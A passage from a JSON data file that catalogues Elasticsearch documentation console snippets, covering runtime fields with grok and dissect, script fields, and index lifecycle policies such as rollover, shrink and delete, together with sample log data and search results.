24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:19-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \\\"GET /french/splash_inet.html HTTP/1.0\\\" 200 3781\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:22-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:27-05:00\",\"message\":\"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:28-05:00\",\"message\":\"not a valid apache log\"}"}, {"source_location":{"file":"scripting/grok-syntax.asciidoc","line":150},"digest":"09ce0ec993c494ac01f01ef9815fcc4b","lang":"console","found":[],"source":"PUT my-index/_mappings\n{\n \"runtime\": {\n \"http.clientip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String clientip=grok('%{COMMONAPACHELOG}').extract(doc[\"message\"].value)?.clientip;\n if (clientip != null) emit(clientip);\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"scripting/grok-syntax.asciidoc","line":176},"digest":"4527d9bb12cf738111a188af235d5d4c","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"runtime_mappings\": {\n \"http.clientip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String clientip=grok('%{COMMONAPACHELOG}').extract(doc[\"message\"].value)?.clientip;\n if (clientip != null) emit(clientip);\n \"\"\"\n }\n },\n \"query\": {\n \"match\": {\n \"http.clientip\": \"40.135.0.0\"\n }\n },\n \"fields\" : [\"http.clientip\"]\n}"}, {"source_location":{"file":"scripting/grok-syntax.asciidoc","line":205},"digest":"0091fc75271b1fbbd4269622a4881e8b","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\": {\n \"match\": {\n \"http.clientip\": \"40.135.0.0\"\n }\n },\n \"fields\" : [\"http.clientip\"]\n}"}, {"source_location":{"file":"scripting/grok-syntax.asciidoc","line":224},"digest":"9b58eaca581c1f32605fcacdfa5cd58e","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"1iN2a3kBw4xTzEDqyYE0\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:30:17-05:00\",\n \"message\" : \"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"\n },\n \"fields\" : {\n \"http.clientip\" : [\n \"40.135.0.0\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":29},"digest":"bd7fa2f122ab861cd00e0b9154d120b3","lang":"console","found":["ruby"],"source":"PUT /my-index/\n{\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"format\": \"strict_date_optional_time||epoch_second\",\n \"type\": \"date\"\n },\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":52},"digest":"d06a649bc38aa9a6433b64efa78d8cb5","lang":"console","found":["ruby"],"source":"POST /my-index/_bulk?refresh\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:17-05:00\",\"message\":\"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:30:53-05:00\",\"message\":\"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:12-05:00\",\"message\":\"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:19-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \\\"GET /french/splash_inet.html HTTP/1.0\\\" 200 3781\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:22-05:00\",\"message\":\"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:27-05:00\",\"message\":\"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"}\n{\"index\":{}}\n{\"timestamp\":\"2020-04-30T14:31:28-05:00\",\"message\":\"not a valid apache log\"}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":84},"digest":"0adbce828234ca221e3d03b184296407","lang":"console","found":[],"source":"PUT my-index/_mappings\n{\n \"runtime\": {\n \"http.clientip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String clientip=grok('%{COMMONAPACHELOG}').extract(doc[\"message\"].value)?.clientip;\n if (clientip != null) emit(clientip); <1>\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":107},"digest":"0091fc75271b1fbbd4269622a4881e8b","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\": {\n \"match\": {\n \"http.clientip\": \"40.135.0.0\"\n }\n },\n \"fields\" : [\"http.clientip\"]\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":125},"digest":"13f015769493c2dc4e56ea54945b1975","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"Rq-ex3gBA_A0V6dYGLQ7\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:30:17-05:00\",\n \"message\" : \"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \\\"GET /images/hm_bg.jpg HTTP/1.0\\\" 200 24736\"\n },\n \"fields\" : {\n \"http.clientip\" : [\n \"40.135.0.0\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":173},"digest":"efa146bf81a9351ba42b92a6decbcfee","lang":"console","found":[],"source":"PUT my-index/_mappings\n{\n \"runtime\": {\n \"http.response\": {\n \"type\": \"long\",\n \"script\": \"\"\"\n String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{response} %{size}').extract(doc[\"message\"].value)?.response;\n if (response != null) emit(Integer.parseInt(response));\n \"\"\"\n }\n }\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":193},"digest":"cc7f1c74ede6810e2c9db19256d6b653","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\": {\n \"match\": {\n \"http.response\": \"304\"\n }\n },\n \"fields\" : [\"http.response\"]\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":210},"digest":"58c609ca1fdd8fd7970decc6c9d2a2ca","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"Sq-ex3gBA_A0V6dYGLQ7\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"timestamp\" : \"2020-04-30T14:31:22-05:00\",\n \"message\" : \"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \\\"GET /images/hm_nbg.jpg HTTP/1.0\\\" 304 0\"\n },\n \"fields\" : {\n \"http.response\" : [\n 304\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":260},"digest":"376fbc965e1b093f6dbc198a94c83aa9","lang":"console","found":["ruby"],"source":"POST /my-index/_bulk?refresh\n{\"index\":{}}\n{\"gc\": \"[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 384K, committed 384K, reserved 1048576K\"}\n{\"index\":{}}\n{\"gc\": \"[2021-03-24T20:27:24.184+0000][90239][gc,heap,exit] class space used 15255K, capacity 16726K, committed 16844K, reserved 1048576K\"}\n{\"index\":{}}\n{\"gc\": \"[2021-03-24T20:27:24.184+0000][90239][gc,heap,exit] Metaspace used 115409K, capacity 119541K, committed 120248K, reserved 1153024K\"}\n{\"index\":{}}\n{\"gc\": \"[2021-04-19T15:03:21.735+0000][84408][gc,heap,exit] class space used 14503K, capacity 15894K, committed 15948K, reserved 1048576K\"}\n{\"index\":{}}\n{\"gc\": \"[2021-04-19T15:03:21.735+0000][84408][gc,heap,exit] Metaspace used 107719K, capacity 111775K, committed 112724K, reserved 1146880K\"}\n{\"index\":{}}\n{\"gc\": \"[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 367K, committed 384K, reserved 1048576K\"}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":324},"digest":"ec44999b6618ac6bbacb23eb08c0fa88","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"runtime_mappings\": {\n \"gc_size\": {\n \"type\": \"keyword\",\n \"script\": \"\"\"\n Map gc=dissect('[%{@timestamp}][%{code}][%{desc}] %{ident} used %{usize}, capacity %{csize}, committed %{comsize}, reserved %{rsize}').extract(doc[\"gc.keyword\"].value);\n if (gc != null) emit(\"used\" + ' ' + gc.usize + ', ' + \"capacity\" + ' ' + gc.csize + ', ' + \"committed\" + ' ' + gc.comsize);\n \"\"\"\n }\n },\n \"size\": 1,\n \"aggs\": {\n \"sizes\": {\n \"terms\": {\n \"field\": \"gc_size\",\n \"size\": 10\n }\n }\n },\n \"fields\" : [\"gc_size\"]\n}"}, {"source_location":{"file":"scripting/common-script-uses.asciidoc","line":354},"digest":"eff000517234247970b198b74ceef29f","lang":"console-result","found":[],"source":"{\n \"took\" : 2,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 6,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"GXx3H3kBKGE42WRNlddJ\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"gc\" : \"[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 384K, committed 384K, reserved 1048576K\"\n },\n \"fields\" : {\n \"gc_size\" : [\n \"used 266K, capacity 384K, committed 384K\"\n ]\n }\n }\n ]\n },\n \"aggregations\" : {\n \"sizes\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : \"used 107719K, capacity 111775K, committed 112724K\",\n \"doc_count\" : 1\n },\n {\n \"key\" : \"used 115409K, capacity 119541K, committed 120248K\",\n \"doc_count\" : 1\n },\n {\n \"key\" : \"used 14503K, capacity 15894K, committed 15948K\",\n \"doc_count\" : 1\n },\n {\n \"key\" : \"used 15255K, capacity 16726K, committed 16844K\",\n \"doc_count\" : 1\n },\n {\n \"key\" : \"used 266K, capacity 367K, committed 384K\",\n \"doc_count\" : 1\n },\n {\n \"key\" : \"used 266K, capacity 384K, committed 384K\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"scripting/fields.asciidoc","line":50},"digest":"6326f5c6fd2a6e6b1aff9a643b94f455","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"text\": \"quick brown fox\",\n \"popularity\": 1\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"text\": \"quick fox\",\n \"popularity\": 5\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"function_score\": {\n \"query\": {\n \"match\": {\n \"text\": \"quick brown fox\"\n }\n },\n \"script_score\": {\n \"script\": {\n \"lang\": \"expression\",\n \"source\": \"_score * doc['popularity']\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/fields.asciidoc","line":94},"digest":"ab24bfdfd8c1c7b3044b21a3b4684370","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"cost_price\": 100\n}\n\nGET my-index-000001/_search\n{\n \"script_fields\": {\n \"sales_price\": {\n \"script\": {\n \"lang\": \"expression\",\n \"source\": \"doc['cost_price'] * markup\",\n \"params\": {\n \"markup\": 0.2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/fields.asciidoc","line":171},"digest":"99160b7c3c3fc1fac98aeb426dbcb3cb","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"first_name\": {\n \"type\": \"text\"\n },\n \"last_name\": {\n \"type\": \"text\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1?refresh\n{\n \"first_name\": \"Barry\",\n \"last_name\": \"White\"\n}\n\nGET my-index-000001/_search\n{\n \"script_fields\": {\n \"full_name\": {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"params._source.first_name + ' ' + params._source.last_name\"\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/fields.asciidoc","line":214},"digest":"c186ecf6f799ddff7add1abdecea5821","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"full_name\": {\n \"type\": \"text\",\n \"store\": true\n },\n \"title\": {\n \"type\": \"text\",\n \"store\": true\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1?refresh\n{\n \"full_name\": \"Alice Ball\",\n \"title\": \"Professor\"\n}\n\nGET my-index-000001/_search\n{\n \"script_fields\": {\n \"name_with_title\": {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"params._fields['title'].value + ' ' + params._fields['full_name'].value\"\n }\n }\n }\n}"}, {"source_location":{"file":"scripting/engine.asciidoc","line":28},"digest":"d9de409a4a197ce7cbe3714e07155d34","lang":"console","found":[],"source":"POST /_search\n{\n \"query\": {\n \"function_score\": {\n \"query\": {\n \"match\": {\n \"body\": \"foo\"\n }\n },\n \"functions\": [\n {\n \"script_score\": {\n \"script\": {\n \"source\": \"pure_df\",\n \"lang\" : \"expert_scripts\",\n \"params\": {\n \"field\": \"body\",\n \"term\": \"foo\"\n }\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":73},"digest":"cb3c483816b6ea150ff6c559fa144d32","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/timeseries_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": { <1>\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"50GB\", <2>\n \"max_age\": \"30d\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"90d\", <3>\n \"actions\": {\n \"delete\": {} <4>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":129},"digest":"09bdf9a7e22733d668476724042a406c","lang":"console","found":["ruby"],"source":"PUT _index_template/timeseries_template\n{\n \"index_patterns\": [\"timeseries\"], <1>\n \"data_stream\": { },\n \"template\": {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 1,\n \"index.lifecycle.name\": \"timeseries_policy\" <2>\n }\n }\n}"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":164},"digest":"a62833baf15f2c9ac094a9289e56a012","lang":"console","found":["ruby"],"source":"POST timeseries/_doc\n{\n \"message\": \"logged the request\",\n \"@timestamp\": \"1591890611\"\n}\n"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":205},"digest":"ea66a620c23337545e409c120c4ed5d9","lang":"console","found":["ruby"],"source":"GET .ds-timeseries-*/_ilm/explain"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":217},"digest":"7b43be48f4df33f28a007ff569ed7ca2","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \".ds-timeseries-2099.03.07-000001\": {\n \"index\": \".ds-timeseries-2099.03.07-000001\",\n \"index_creation_date_millis\": 1538475653281,\n \"time_since_index_creation\": \"30s\", <1>\n \"managed\": true,\n \"policy\": \"timeseries_policy\", <2>\n \"lifecycle_date_millis\": 1538475653281,\n \"age\": \"30s\", <3>\n \"phase\": \"hot\",\n \"phase_time_millis\": 1538475653317,\n \"action\": \"rollover\",\n \"action_time_millis\": 1538475653317,\n \"step\": \"check-rollover-ready\", <4>\n \"step_time_millis\": 1538475653317,\n \"phase_execution\": {\n \"policy\": \"timeseries_policy\",\n \"phase_definition\": { <5>\n \"min_age\": \"0ms\",\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"50gb\",\n \"max_age\": \"30d\"\n }\n }\n },\n \"version\": 1,\n \"modified_date_in_millis\": 1539609701576\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":332},"digest":"69daf5ec2a9bc07096e1833286c36076","lang":"console","found":[],"source":"PUT _index_template/timeseries_template\n{\n \"index_patterns\": [\"timeseries-*\"], <1>\n \"template\": {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 1,\n \"index.lifecycle.name\": \"timeseries_policy\", <2>\n \"index.lifecycle.rollover_alias\": \"timeseries\" <3>\n }\n }\n}"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":376},"digest":"7148c8512079d378af70302e65502dd2","lang":"console","found":[],"source":"PUT timeseries-000001\n{\n \"aliases\": {\n \"timeseries\": {\n \"is_write_index\": true\n }\n }\n}"}, {"source_location":{"file":"ilm/ilm-tutorial.asciidoc","line":408},"digest":"2ffa953b29ed0156c9e610daf66b8e48","lang":"console","found":["ruby"],"source":"GET timeseries-*/_ilm/explain"}, {"source_location":{"file":"indices/index-mgmt.asciidoc","line":177},"digest":"0b913fb9e010d877c0be015519cfddc6","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_doc\n{\n \"@timestamp\": \"2019-05-18T15:57:27.541Z\",\n \"ip\": \"225.44.217.191\",\n \"extension\": \"jpg\",\n \"response\": \"200\",\n \"geo\": {\n \"coordinates\": {\n \"lat\": 38.53146222,\n \"lon\": -121.7864906\n }\n },\n \"url\": \"https://media-for-the-masses.theacademyofperformingartsandscience.org/uploads/charles-fullerton.jpg\"\n}\n\nPOST /my-index-000002/_doc\n{\n \"@timestamp\": \"2019-05-20T03:44:20.844Z\",\n \"ip\": \"198.247.165.49\",\n \"extension\": \"php\",\n \"response\": \"200\",\n \"geo\": {\n \"coordinates\": {\n \"lat\": 37.13189556,\n \"lon\": -76.4929875\n }\n },\n \"memory\": 241720,\n \"url\": \"https://theacademyofperformingartsandscience.org/people/type:astronauts/name:laurel-b-clark/profile\"\n}"}, {"source_location":{"file":"indices/index-mgmt.asciidoc","line":215},"digest":"a1dcc6668d13271c8207ff5ff1d35492","lang":"console","found":["ruby"],"source":"GET /my-index-000001,my-index-000002"}, {"source_location":{"file":"ilm/actions/ilm-allocate.asciidoc","line":60},"digest":"fc26f51bb22c0b5270a66b4722f18aa7","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"allocate\" : {\n \"number_of_replicas\" : 2,\n \"total_shards_per_node\" : 200\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-allocate.asciidoc","line":89},"digest":"0518c673094fb18ecb491a3b78af4695","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"allocate\" : {\n \"include\" : {\n \"box_type\": \"hot,warm\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-allocate.asciidoc","line":116},"digest":"336613f48dd95ea993dd3bcce264fd0e","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"cold\": {\n \"actions\": {\n \"allocate\" : {\n \"require\" : {\n \"box_type\": \"cold\",\n \"storage\": \"high\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-allocate.asciidoc","line":147},"digest":"9d461ae140ddc018efd2650559800cd1","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"allocate\" : {\n \"number_of_replicas\": 1,\n \"require\" : {\n \"box_type\": \"cold\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-delete.asciidoc","line":28},"digest":"053497b6960f80fd7b005b7c6d54358f","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"delete\": {\n \"actions\": {\n \"delete\" : { }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-forcemerge.asciidoc","line":64},"digest":"eb5486d2fe4283475bf9e0e09280be16","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"forcemerge\" : {\n \"max_num_segments\": 1\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-migrate.asciidoc","line":57},"digest":"23c4ae62f7035f2796e0ac3c7c4c20a9","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"migrate\" : {\n },\n \"allocate\": {\n \"number_of_replicas\": 1\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-migrate.asciidoc","line":84},"digest":"4752f82fec8b46e5a4b3788b76e3041f","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"migrate\" : {\n \"enabled\": false\n },\n \"allocate\": {\n \"include\" : {\n \"rack_id\": \"one,two\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-readonly.asciidoc","line":22},"digest":"fc9a1b1173690a911725cff3912e9755","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"readonly\" : { }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":31},"digest":"eaf6a846ded090fd6ac48269ad2b328b","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"index.lifecycle.name\": \"my_policy\",\n \"index.lifecycle.rollover_alias\": \"my_data\"\n },\n \"aliases\": {\n \"my_data\": {\n \"is_write_index\": true\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":146},"digest":"ba66768ed04f7b87906badff40ff40ed","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":169},"digest":"9ba868784f417a8d3679b3c8ed5939ad","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_size\": \"100gb\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":192},"digest":"cfd4b34f35e531a20739a3b308d57134","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_docs\": 100000000\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":215},"digest":"ae591d49e54b838c15cdcf64a8dee9c2","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_primary_shard_docs\": 10000000\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":238},"digest":"d4a41fb74b41b41a0ee114a2311f2815","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_age\": \"7d\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":264},"digest":"d84a861ce563508aeaaf30a9dd84b5cf","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_age\": \"7d\",\n \"max_size\": \"100gb\",\n \"min_docs\": 1000\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":291},"digest":"236f50d89a07b83119af72e367e685da","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_primary_shard_size\": \"50gb\",\n \"max_age\": \"30d\",\n \"min_primary_shard_size\": \"1gb\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-rollover.asciidoc","line":320},"digest":"8e0f43829df9af20547ea6896f4c0124","lang":"console","found":["ruby"],"source":"PUT /_ilm/policy/rollover_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_size\": \"50gb\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"1d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-downsample.asciidoc","line":37},"digest":"46c5c14f20118dcf519ff6ef21360209","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/datastream_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_docs\": 1\n },\n \"downsample\": {\n \t \"fixed_interval\": \"1h\"\n \t }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-searchable-snapshot.asciidoc","line":93},"digest":"3f2e5132e35b9e8b3203a4a0541cf0d4","lang":"console","found":[],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"cold\": {\n \"actions\": {\n \"searchable_snapshot\" : {\n \"snapshot_repository\" : \"backing_repo\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-set-priority.asciidoc","line":29},"digest":"149a0eea54cdf6ea3052af6dba2d2a63","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"set_priority\" : {\n \"priority\": 50\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-shrink.asciidoc","line":65},"digest":"f3b4ddce8ff21fc1a76a7c0d9c36650e","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"shrink\" : {\n \"number_of_shards\": 1\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-shrink.asciidoc","line":90},"digest":"9d31c7eaf8c6b56cee2fdfdde8a442bb","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"shrink\" : {\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-unfollow.asciidoc","line":45},"digest":"a5a58e8ad66afe831bc295500e3e8739","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"unfollow\" : {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/actions/ilm-wait-for-snapshot.asciidoc","line":40},"digest":"83062a543163370328cf2e21a68c1bd3","lang":"console","found":[],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"delete\": {\n \"actions\": {\n \"wait_for_snapshot\" : {\n \"policy\": \"slm-policy-name\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":44},"digest":"5b6bc085943e9189236d98b3c05ed62c","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"25GB\" <1>\n }\n }\n },\n \"delete\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"delete\": {} <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":100},"digest":"85519a614ae18c998986d46bbad82b76","lang":"console","found":["ruby"],"source":"PUT _index_template/my_template\n{\n 